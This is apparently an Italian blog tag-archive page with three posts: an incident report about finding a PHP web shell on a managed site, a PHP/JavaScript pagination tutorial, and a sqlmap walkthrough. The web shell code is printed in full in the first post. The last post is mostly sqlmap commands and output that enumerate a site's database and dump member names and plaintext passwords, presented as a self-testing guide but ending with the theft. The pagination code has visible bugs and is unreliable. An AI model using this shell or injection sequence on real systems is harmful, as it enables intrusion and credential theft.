Archivi tag: get

Ancora un sito violato

Recentemente ho dovuto fare un po’ di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

backdoor.jpg

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l’attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell’attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l’hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E’ tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

Paginazione PHP con HTTP POST

La paginazione è uno dei metodi più gettonati per ripartire i contenuti dinamici di un sito Web su più pagine. Spesso, però, per ragioni di sicurezza (e non solo) risulta più conveniente sostituire il GET con il POST, avvalendosi di un pò di codice Javascrip da utilizzare lato client.

 

web.jpg

Ecco un il codice (testato e funzionante):

$query = "SELECT * FROM Utenti";

$risultato = $mysqli->query($query);

$count = mysqli_num_rows($risultato);
$per_pagina = 30; //secondo parametro di LIMIT
$tot_pagine = ceil($count / $per_pagina); //approssima la divisione all'intero
$pagina_corrente = 1;

 if(isset($_POST['pagina']) && is_numeric($_POST['pagina']))
 {
            $pagina_corrente = $_POST['pagina'];
 }
$primo = ($pagina_corrente - 1) * $per_pagina; //primo parametro di LIMIT
$query = $query."ORDER BY C.Cognome ASC LIMIT $primo, $per_pagina";

$risultato = $mysqli->query($query1);

lato server, mentre lato client il codice Javascrip è così definito:

<scrip type="text/javascrip">
 function invia()
 {
     document.loginform4.method="post";
     document.loginform4.action="visualizzacontatti.php";
     document.loginform4.submit();
 }
 </scrip>

Inoltre, il numero di pagina calcolato nell’ambito del codice PHP verrà salvato in un campo di input hidden:

<input type="hidden" name="pagina" id="pagina" value="<?php echo $pagina_corrente?>"/>

I numeri di pagina cliccabili saranno così definiti:

<div id="paginazione">
<p align ="center">
<?php
if($pagina_corrente == 1 || $count == 0) //se siamo nella prima pagina oppure non vi sono record
{

echo "&lt;&lt; Precedente";
}
else
{
$pagina_precedente = ($pagina_corrente - 1);
?>
<a href ="javascrip:invia()" onclick="document.loginform4.pagina.value=<?php echo $pagina_precedente?>"><?php echo "<< Precedente"?></a>
<?php
}

echo ' Pagine: ';

for($i = 1; $i <= $tot_pagine; $i++)
{
if($i == $pagina_corrente)
{
echo "[$i]";
}
else
{
?>
<a href ="javascrip:invia()" onclick="document.loginform4.pagina.value=<?php echo $i?>"><?php echo $i ?></a>
<?php
}
}
if($pagina_corrente == $tot_pagine) // se siamo nell'ultima pagina
{
echo "Successiva >>";
}
else
{
$prossima_pagina = ($pagina_corrente + 1);
?>
<a href ="javascrip:invia()" onclick="document.loginform4.pagina.value=<?php echo $prossima_pagina?>"><?php echo "Successiva >>"?></a>
<?php
}
?>
</p>
</div>

Enjoy!

Individuare eventuali vulnerabilità SQLi sul nostro sito mediante sqlmap

Premessa

Questa piccola guida ha come scopo principale quello di istruire eventuali sistemisti/DBA/developer su come testare la robustezza del proprio server/applicativo contro gli attacchi basati sull’SQL injection.

sqlmap

Un tool abbastanza semplice da utilizzare per effettuare questo tipo di test prende il nome di sqlmap.

sqlmap

Ecco quali sono gli step che ho seguito per “dumpare” il contenuto di un database mySQL presente dietro un portale Web “bacato”:

C:\UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1

sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:05:07

[08:05:07] [INFO] using 'C:UserseldoDesktopsqlmapoutputvulnsite.itsession' as session file
[08:05:07] [INFO] testing connection to the target url
[08:05:08] [INFO] testing if the url is stable, wait a few seconds
[08:05:10] [INFO] url is stable
[08:05:10] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[08:05:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[08:05:11] [INFO] testing if GET parameter 'id' is dynamic
[08:05:12] [INFO] confirming that GET parameter 'id' is dynamic
[08:05:13] [INFO] GET parameter 'id' is dynamic
[08:05:13] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis

[08:05:13] [INFO] testing unescaped numeric injection on GET parameter 'id'
[08:05:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[08:05:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 pare
nthesis
[08:05:14] [INFO] testing for parenthesis on injectable parameter
[08:05:16] [INFO] the injectable parameter requires 0 parenthesis
[08:05:16] [INFO] testing MySQL
[08:05:17] [INFO] confirming MySQL
[08:05:18] [INFO] retrieved: 3
[08:05:23] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL >= 5.0.0

[*] shutting down at: 08:05:23

Una volta constatato che il portale è vulnerabile, procedo con l'enumerazione dei DBMS:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 --dbs

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:06:20

[08:06:20] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:06:20] [INFO] resuming match ratio '0.946' from session file
[08:06:20] [INFO] resuming injection point 'GET' from session file
[08:06:20] [INFO] resuming injection parameter 'id' from session file
[08:06:20] [INFO] resuming injection type 'numeric' from session file
[08:06:20] [INFO] resuming 0 number of parenthesis from session file
[08:06:20] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:06:20] [INFO] testing connection to the target url
[08:06:20] [INFO] testing for parenthesis on injectable parameter
[08:06:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:06:20] [INFO] fetching database names
[08:06:20] [INFO] fetching number of databases
[08:06:20] [INFO] retrieved: 2
[08:06:25] [INFO] retrieved: information_schema
[08:08:05] [INFO] retrieved: 12447_15_1
available databases [2]:
[*] 12447_15_1
[*] information_schema

[08:09:04] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:09:04

Uso come target il DB 12447_15_1 e procedo con l'enumerazione delle tabelle:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 --tables

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:06:20

[08:12:07] [INFO] using 'C:UserseldoDesktopsqlmapoutputvulnsite.itsession' as session file
[08:12:07] [INFO] resuming match ratio '0.946' from session file
[08:12:07] [INFO] resuming injection point 'GET' from session file
[08:12:07] [INFO] resuming injection parameter 'id' from session file
[08:12:07] [INFO] resuming injection type 'numeric' from session file
[08:12:07] [INFO] resuming 0 number of parenthesis from session file
[08:12:07] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:12:07] [INFO] testing connection to the target url
[08:12:08] [INFO] testing for parenthesis on injectable parameter
[08:12:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:12:08] [INFO] fetching tables for database '12447_15_1'
[08:12:08] [INFO] fetching number of tables for database '12447_15_1'
[08:12:08] [INFO] retrieved: 2
[08:12:13] [INFO] retrieved: books
[08:12:41] [INFO] retrieved: club_members
Database: 12447_15_1
[2 tables]
+--------------+
| books        |
| club_members |
+--------------+

[08:13:43] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:13:43

Adesso procedo con l'enumerazione delle colonne relative alla tabella club_members:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 -T club_members --columns

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:21:36

[08:21:36] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:21:36] [INFO] resuming match ratio '0.946' from session file
[08:21:36] [INFO] resuming injection point 'GET' from session file
[08:21:36] [INFO] resuming injection parameter 'id' from session file
[08:21:36] [INFO] resuming injection type 'numeric' from session file
[08:21:36] [INFO] resuming 0 number of parenthesis from session file
[08:21:36] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:21:36] [INFO] testing connection to the target url
[08:21:37] [INFO] testing for parenthesis on injectable parameter
[08:21:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:21:37] [INFO] fetching columns for table 'club_members' on database '12447_1
5_1'
[08:21:37] [INFO] fetching number of columns for table 'club_members' on databas
e '12447_15_1'
[08:21:37] [INFO] retrieved: 6
[08:21:42] [INFO] retrieved: id
[08:21:56] [INFO] retrieved: mediumint(8) unsigned
[08:23:46] [INFO] retrieved: name
[08:24:13] [INFO] retrieved: varchar(255)
[08:25:21] [INFO] retrieved: city
[08:25:46] [INFO] retrieved: varchar(50)
[08:26:47] [INFO] retrieved: zip
[08:27:06] [INFO] retrieved: varchar(10)
[08:28:04] [INFO] retrieved: username
[08:28:53] [INFO] retrieved: varchar(255)
[08:29:57] [INFO] retrieved: password
[08:30:47] [INFO] retrieved: varchar(255)
Database: 12447_15_1
Table: club_members
[6 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| city     | varchar(50)           |
| id       | mediumint(8) unsigned |
| name     | varchar(255)          |
| password | varchar(255)          |
| username | varchar(255)          |
| zip      | varchar(10)           |
+----------+-----------------------+

[08:31:51] [INFO] Fetched data logged to text files under 'C:UserseldoDesktop
sqlmapoutputvulnsite.it'

[*] shutting down at: 08:31:51

Infine, poichè ora conosco la struttura della tabella, posso effettuare il dump dei campi che mi interessano, ovvero name e password:

C:UserseldoDesktopsqlmap>sqlmap.py -u http://vulnsite.it/view_book.php?id=1 -D 12447_15_1 -T club_members -C name,password --dump

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:39:44

[08:39:44] [INFO] using 'C:UserseldoDesktopsqlmapoutputs12447-15xnnvzre.ro
ma.coliseumlab.netsession' as session file
[08:39:44] [INFO] resuming match ratio '0.946' from session file
[08:39:44] [INFO] resuming injection point 'GET' from session file
[08:39:44] [INFO] resuming injection parameter 'id' from session file
[08:39:44] [INFO] resuming injection type 'numeric' from session file
[08:39:44] [INFO] resuming 0 number of parenthesis from session file
[08:39:44] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:39:44] [INFO] testing connection to the target url
[08:39:45] [INFO] testing for parenthesis on injectable parameter
[08:39:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.3, ASP.NET
back-end DBMS: MySQL 5

[08:39:45] [INFO] fetching columns 'name, password' entries for table 'club_memb
ers' on database '12447_15_1'
[08:39:45] [INFO] fetching number of columns 'name, password' entries for table
'club_members' on database '12447_15_1'
[08:39:45] [INFO] read from file 'C:UserseldoDesktopsqlmapoutputs12447-15x
nnvzre.roma.coliseumlab.netsession': 30
[08:39:45] [INFO] retrieved: Ignacia
[08:40:23] [INFO] read from file 'C:UserseldoDesktopsqlmapoutputs12447-15x
nnvzre.roma.coliseumlab.netsession': AYM91SVH8JL
[08:40:23] [INFO] retrieved: Isaac
[08:40:51] [INFO] retrieving the length of query output
[08:40:51] [INFO] retrieved: 11
[08:41:06] [INFO] resumed from file 'C:UserseldoDesktopsqlmapoutputs12447-
15xnnvzre.roma.coliseumlab.netsession': WVJ39RFZ...
[08:41:06] [INFO] retrieving pending 3 query output characters
[08:41:25] [INFO] retrieved: Roth
[08:41:50] [INFO] retrieved: PRK18UOR6YA
[08:42:51] [INFO] retrieved: Laurel
[08:43:24] [INFO] retrieved: RKS21YTS6EV
[08:44:27] [INFO] retrieved: Ina
[08:44:47] [INFO] retrieved: HHQ64HDD7VJ
[08:45:50] [INFO] retrieved: Samantha
[08:46:33] [INFO] retrieved: BAA37FRB5IR
[08:47:30] [INFO] retrieved: Walter
[08:48:04] [INFO] retrieved: AQD75ZVP9WA
[08:49:02] [INFO] retrieved: Petra
[08:49:31] [INFO] retrieved: BAI67DMT7PN
[08:50:29] [INFO] retrieved: Fleur
[08:50:58] [INFO] retrieved: PJE89BUA1DP
[08:51:58] [INFO] retrieved: Rowan
[08:52:30] [INFO] retrieved: FCY82VKV1PS
[08:53:29] [INFO] retrieved: Cairo
[08:53:59] [INFO] retrieved: GGT75OJT6IO
[08:54:57] [INFO] retrieved: Ruud
[08:55:23] [INFO] retrieved: 166648
[08:55:58] [INFO] retrieved: Cheryl
[08:56:33] [INFO] retrieved: WJI80JKK9XQ
[08:57:30] [INFO] retrieved: Olivia
[08:58:03] [INFO] retrieved: PMO19LFU8OP
[08:59:00] [INFO] retrieved: Sara
[08:59:24] [INFO] retrieved: UHE33ZHA4VD
[09:00:22] [INFO] retrieved: Hermione
[09:01:04] [INFO] retrieved: AHW26AKK3PT
[09:02:01] [INFO] retrieved: Jingo
[09:02:30] [INFO] retrieved: KFV13NWK8SR
[09:03:27] [INFO] retrieved: Ingrid
[09:04:01] [INFO] retrieved: GSR33YLT1GY
[09:04:59] [INFO] retrieved: Kay
[09:05:19] [INFO] retrieved: MZO03VPQ5GA
[09:06:17] [INFO] retrieved: Stone
[09:06:47] [INFO] retrieved: JCD09KIK3XN
[09:07:46] [INFO] retrieved: Quinn
[09:08:15] [INFO] retrieved: IRC74DPU2TU
[09:09:13] [INFO] retrieved: Castor
[09:09:48] [INFO] retrieved: DCA08WQE5SW
[09:10:46] [INFO] retrieved: Wyoming
[09:11:25] [INFO] retrieved: XFL08LPA5QA
[09:12:24] [INFO] retrieved: Harlan
[09:12:58] [INFO] retrieved: HOO93MSH6EK

Per fortuna le password sono salvate in chiaro (e non sottoforma di HASH), dunque “rubarle” è stato un gioco da ragazzi.

Fine del post, a presto.